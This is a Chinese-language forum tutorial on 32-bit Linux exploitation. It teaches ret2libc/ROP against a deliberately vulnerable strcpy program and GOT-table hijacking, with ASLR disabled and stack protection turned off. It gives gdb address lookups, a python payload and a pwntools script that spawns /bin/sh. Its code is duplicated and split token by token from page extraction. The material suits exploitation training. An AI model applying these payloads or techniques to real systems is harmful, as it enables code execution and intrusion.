作者:dxbaicai
为了降低入门难度,会关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。
在实验环境创建.c源代码文件,使用如下命令进行编译,注意相比之前编译时去掉了-z execstack
知识点-编译参数说明
对,还是上一篇中的代码。
回想一下上一节,我们是通过利用栈溢出漏洞,将一段自行构造的shellcode放置在栈上特定位置,并使得函数的返回值跳转到该段代码的地址执行,从而获得shell。但是这要求可以在栈上执行代码,现在栈上可执行代码被关闭了,这就要求我们要想办法跳转到可以执行代码的地方。我们看到程序引用了libc库的函数(两句include语句),libc库中显然包含有system函数,那么我们将可以把函数返回的地址指向libc中的system地址,从而跳转到库函数去执行。这种使用函数返回地址(ret指令)连接代码的技术,就叫做ROP(Return-Oriented Programming,返回导向编程)。
根据第二节中介绍的函数调用栈知识,我们构造如下的栈结构:
注意ROP部分的三句话,从而实现在main函数返回时执行:
因为我们的目的是getshell,所以执行system即可,返回地址可以随意填写。
根据上面的分析,我们需要如下计算步骤:
思路明确,我们现在开始来逐步调试。前面3步的过程与第三节相同,这里就不再重复,现在我们来调试libc中地址获取。
得到system的地址为:0xf7e145f0,"/bin/sh"字符的地址为:0xf7f58406。于是我们构造payload为:
"a" * 140 + "0xf7e145f0" + "\1\1\1\1" + "0xf7f58406"
得到shell:
知识点1
.got中存放的是外部全局变量的GOT表,例如stdin/stdout/stderr,非延时绑定。
.got.plt中存放的是外部函数的GOT表,例如printf函数,延时绑定。
知识点2
GOT劫持2大要素:GOT表可写(checksec显示RELRO/disabled且Flg标志位显示为WA)与内存漏洞。
GOT表劫持的核心目的是通过修改GOT表中的函数地址为其他我们期望的地址,从而达到执行该函数时,通过跳转到GOT表,从而跳转到我们修改过的地址去执行指令。
选自长亭科技相关分享,因为是一个特别典型和简单的got_hacking,非常适合入门,所以这里用它来做说明
echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
gcc
-
4.8
-
g
-
m32
-
O0
-
fno
-
stack
-
protector
-
o [可执行文件名] [源文件名]
gcc
-
4.8
-
g
-
m32
-
O0
-
fno
-
stack
-
protector
-
o [可执行文件名] [源文件名]
int
main(
int
argc, char
*
argv[]) {
char buf[
128
];
if
(argc <
2
)
return
1
;
strcpy(buf, argv[
1
]);
printf(
"Input:%s\n"
, buf);
return
0
;
}
int
main(
int
argc, char
*
argv[]) {
char buf[
128
];
if
(argc <
2
)
return
1
;
strcpy(buf, argv[
1
]);
printf(
"Input:%s\n"
, buf);
return
0
;
}
gcc
-
4.8
-
g
-
m32
-
O0
-
fno
-
stack
-
protector
-
o pwn_test_bof3_32
-
gcc4.
8
pwn_test_bof2.c
gcc
-
4.8
-
g
-
m32
-
O0
-
fno
-
stack
-
protector
-
o pwn_test_bof3_32
-
gcc4.
8
pwn_test_bof2.c
system(
"/bin/sh"
);
return
xxx;
system(
"/bin/sh"
);
return
xxx;
gdb
-
q
-
args .
/
pwn_test_bof3_32
-
gcc4.
8
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb
-
peda$ starti
gdb
-
peda$ r
gdb
-
peda$
print
system
gdb
-
peda$ find
"/bin/sh"
gdb
-
q
-
args .
/
pwn_test_bof3_32
-
gcc4.
8
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gdb
-
peda$ starti
gdb
-
peda$ r
gdb
-
peda$
print
system
gdb
-
peda$ find
"/bin/sh"
.
/
pwn_test_bof3_32
-
gcc4.
8
$(python
-
c
'print "a"*140 + "\xf0E\xe1\xf7" + "\1\1\1\1" + "\x06\x84\xf5\xf7"'
)
.
/
pwn_test_bof3_32
-
gcc4.
8
$(python
-
c
'print "a"*140 + "\xf0E\xe1\xf7" + "\1\1\1\1" + "\x06\x84\xf5\xf7"'
)
from
pwn
import
*
context(arch
=
'amd64'
, os
=
'linux'
)
system_addr
=
0xf7e145f0
binsh_addr
=
0xf7f58406
payload
=
"A"
*
140
+
p32(system_addr)
+
"\1\1\1\1"
+
p32(binsh_addr)
p
=
process(argv
=
[
"/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8"
, payload])
p.interactive()
from
pwn
import
*
context(arch
=
'amd64'
, os
=
'linux'
)
system_addr
=
0xf7e145f0
binsh_addr
=
0xf7f58406
payload
=
"A"
*
140
+
p32(system_addr)
+
"\1\1\1\1"
+
p32(binsh_addr)
p
=
process(argv
=
[
"/home/pwn/test/bof/pwn_test_bof3_32-gcc4.8"
, payload])
p.interactive()
readelf
-
S [program]
objdump
-
R got_hacking_32
-
gcc4.
8
objdump
-
R got_hacking_32
-
gcc4.
8
hex
(elf.got[
"printf"
])获取printf在GOT表的地址
hex
(elf.got[
"printf"
])获取printf在GOT表的地址
void win() {
puts(
"You Win!"
);
}
void main() {
unsigned
int
addr, value;
scanf(
"%x=%x"
, &addr, &value);
*
(unsigned
int
*
)addr
=
value;
printf(
"set %x=%x\n"
, addr, value);
}
void win() {
puts(
"You Win!"
);
}
void main() {
unsigned
int
addr, value;
scanf(
"%x=%x"
, &addr, &value);
*
(unsigned
int
*
)addr
=
value;
printf(
"set %x=%x\n"
, addr, value);
}
gcc
-
4.8
-
m32
-
o got_hacking_32
-
gcc4.
8
got_hacking.c
gcc
-
4.8
-
m32
-
o got_hacking_32
-
gcc4.
8
got_hacking.c
gdb
-
peda$ p win
objdump
-
d got_hacking_32
-
gcc4.
8
|grep win
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-2-7 09:34
被kanxue编辑
,原因: